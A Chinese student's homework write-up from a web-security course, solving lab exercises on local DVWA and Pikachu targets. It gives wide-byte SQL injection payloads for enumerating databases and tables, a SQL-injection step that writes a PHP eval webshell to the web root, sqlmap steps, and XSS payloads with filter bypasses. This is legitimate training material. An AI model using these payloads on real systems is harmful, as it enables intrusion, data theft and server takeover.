情境
参加了培训的第八次课, 涉及到了SQL宽字节注入, 从MySQL注入到GetShell, SQL注入的基本绕过手法, SQL注入防御, SQLmap的使用; XSS基本概念和原理 的介绍(包括3种XSS及其手动测试).
这里是第八课的作业题, 及我的解答. (注: 使用本地虚拟机开启dvwa靶场, 10.0.0.155是ubuntu虚拟机的IP, dvwa挂在8080端口上. 登陆后初始化靶场并重新登录. 下列各题都将在靶场不同标签页中练习 复现.)
1、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤;
我的解答: 本题, 我将以Pikachu靶场中的宽字节注入页面作为复现环境.
a. 预备工作
首先搭建Pikachu靶场环境, 需要正确安装 mysql-server, php2.7 和 apache2 等. 然后使用docker开启一个以area39/pikachu
为镜像的容器.
容器开启后, 等待一会儿再使用浏览器访问pikachu网页, 使用该靶场之前需要先在网页上进行初始化.
b. 尝试使用宽字节注入, 做一个测试
使用%81' or 1=1#
作为输入, 微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 检查响应包结果符合预期.
c. 爆破数据库名
使用联合注入, 结合 b 中的手法, 输入aaa%81' union select 1,database()#
, 微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 结果成功爆破数据库名 pikachu.
d. 爆破数据表名
-- 首先爆出数据库 pikachu 中的数据表数量.
使用count()
函数, 并结合 c 中同样的手法, 输入bbb%81' union select 2,count(table_name) from information_schema.tables where table_schema=database()#
.
微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 结果得出 该数据库中有5张表.
-- 再爆出具体的表名.
使用group_concat()
函数, 并结合 c 中同样的手法, 输入bbb%81' union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()#
.
微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 得出 该数据库中5张表的具体表名.
-- 确认正确的表名(即爆字段名, 并分析)
通过表名和使用情境, 推测很可能使用的是 表member 或者 表users, 且该表含有诸如类似 uid 和 email 的信息字段. 查取所有表的字段名.
在输入框中输入bbb%81' union select 3,group_concat(column_name) from information_schema.columns where table_schema=database()#
.
(逐个表查字段操作不出来, 因为限制表名一定会用到'', 而在该情景下''会添加addslash()函数, 不可绕过; 但是可以查pikachu数据库中所有表的字段名, 对比之前的结果可能会得到一些暗示. 果然如此!!!!)
最后确认正确的数据表名是 member
2、利用SQL注入实现DVWA站点的Getshell,写清楚攻击步骤;
我的解答:
开启DVWA靶场, 并设计注入
使用docker开启dvwa容器. 数据库初始化后重新登入(admin//password). 将安全等级调成low. 选中"SQL Injection"标签, 并输入SQL注入形式的一句话木马:
' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell.php'#
通过容器后端可以看到, 此时已成功创建木马文件 /var/www/html/shell.php
通过浏览器访问 $(IP):$port/shell.php, 看到的是空白页面.
-- 可以使用HackBar V2插件 添加POST方法的参数a. 比如a=phpinfo();
或是system(pwd)
之类的系统命令.
-- 也可以使用蚁剑, 添加一句话木马的文件地址, 连接密码就是POST方法传输的变量名. 由此就可以打开容器后端了. 至此, 我们就算完整地拿下该服务器了.
3、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入;
我的解答:
安装SQLMap, 并设置(Linux和Windows都可)
将dvwa网站的安全等级调成low, 并取得带参数信息的有效链接.
通过浏览器控制台console获取cookies信息
构建sqlmap命令, 并获取目的参数的payload
使用sqlmap爆库名
使用sqlmap爆表名
使用sqlmap爆列名
使用sqlmap爆数据内容
4、完成DVWA靶场存储型XSS的漏洞练习。
我的解答:
知识点回顾
通常存在XSS漏洞的输入点, 如果代码中没有针对输入的过滤措施, 可直接使用:<script>alert(1)</script>
或者 类似于<img src=## onerror=alert(document.cookie)>
(或者a标签<a onmouseover=alert('XSS')>xss link</a>
) 之类的输入.
如果存在XSS漏洞的输入点, 代码中过滤了<script>
标签, 可考虑使用 大小写混淆绕过, 双写饶过, 或者使用其它标签
如果存在XSS漏洞的输入点, 代码中使用正则过滤<script>
标签, 那就只能使用其他标签了.
Security Level Low (此处, 针对message没有输入过滤措施, 针对name通过正则匹配限制使用
<script>
标签)
可使用最简单的<script>alert(1)</script>
进行(存储型)XSS攻击.
Security Level Medium (此处, 针对message使用addslash()函数; 针对name过滤
<script>
标签 且 前端限制输入长度)
在name处使用双写混淆绕过, 通过inspector将maxlength改成一个较大值.
Security Level High (此处, 针对message使用addslash()函数; 针对name通过正则匹配限制使用
<script>
标签 且 前端限制输入长度)
在name处使用其它标签, 通过inspector将maxlength改成一个较大值.
预习:XSS
预习资料:课件,课件还没出来
自己的学习进度落了两个多月了, 惭愧…… 慢慢追……